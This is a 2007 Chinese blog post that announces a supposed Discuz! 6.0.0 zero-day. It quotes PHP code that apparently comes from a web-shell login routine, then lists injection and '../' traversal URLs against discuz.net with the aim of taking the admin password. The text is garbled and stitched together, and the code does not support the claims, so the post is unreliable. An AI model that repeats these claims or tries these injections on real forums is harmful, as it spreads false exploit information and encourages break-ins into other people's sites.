夜火博客

Discuz! 6.0.0 0Day漏洞

来源:坏狼安全网

// 允许程序在 register_globals = off 的环境下工作 $onoff = (function_exists(‘ini_get’)) ? ini_get(‘register_globals’) : get_cfg_var(‘register_globals’);

if ($onoff != 1) { @extract($_POST, EXTR_SKIP); @extract($_GET, EXTR_SKIP); }

$self = $_SERVER[‘PHP_SELF’]; $dis_func = get_cfg_var(“disable_functions”);

/===================== 身份验证 =====================/ if($admin[‘check’] == “1”) { if ($_GET[‘action’] == “logout”) { setcookie (“adminpass”, ""); echo “<meta http-equiv=“refresh” content=“3;URL=“.$self."">”; echo “注销成功…

<a href="".$self."">三秒后自动退出或单击这里退出程序界面 >>>”; exit; }

if ($_POST[‘do’] == ‘login’) { $thepass=trim($_POST[‘adminpass’]); if ($admin[‘pass’] == $thepass) { setcookie (“adminpass”,$thepass,time()+(1243600)); echo “<meta http-equiv=“refresh” content=“3;URL=“.$self."">”; echo “登陆成功…

<a href="".$self."">三秒后自动跳转或单击这里进入程序界面 >>>”; exit; } } if (isset($_COOKIE[‘adminpass’])) { if ($_COOKIE[‘adminpass’] != $admin[‘pass’]) { loginpage(); } } else { loginpage(); } } /===================== 验证结束 =====================/

// 判断 magic_quotes_gpc 状态 if (get_magic_quotes_gpc()) { $_GET = stripslashes_array($_GET); $_POST = stripslashes_array($_POST); }

http://www.discuz.net/admin/logging.php?action=login 可以跳到其它目录 注册登录后利用

http://www.discuz.net/search.php?user%id=100 可以进行injection……

只能手工注射

注意

里必须包含用户自己的路径 如果限制的话,还可以向上跳,向上级传文件的时候,不能直接 http://www. http://www.discuz.net/user/up/_id=../../…/(注射语句) 就包含用户路径 http://www.discuz.net/member.php?action=list_UserNumber=1402257EE8F 不然不能进行注射。

文件漏洞代码如下

getDB(); /* echo '
';
print_r($Data);
*/
?>

可以直接注射,拿到后台密码。

本文标题:Discuz! 6.0.0 0Day漏洞
文章作者:夜火
发布时间:2007-11-25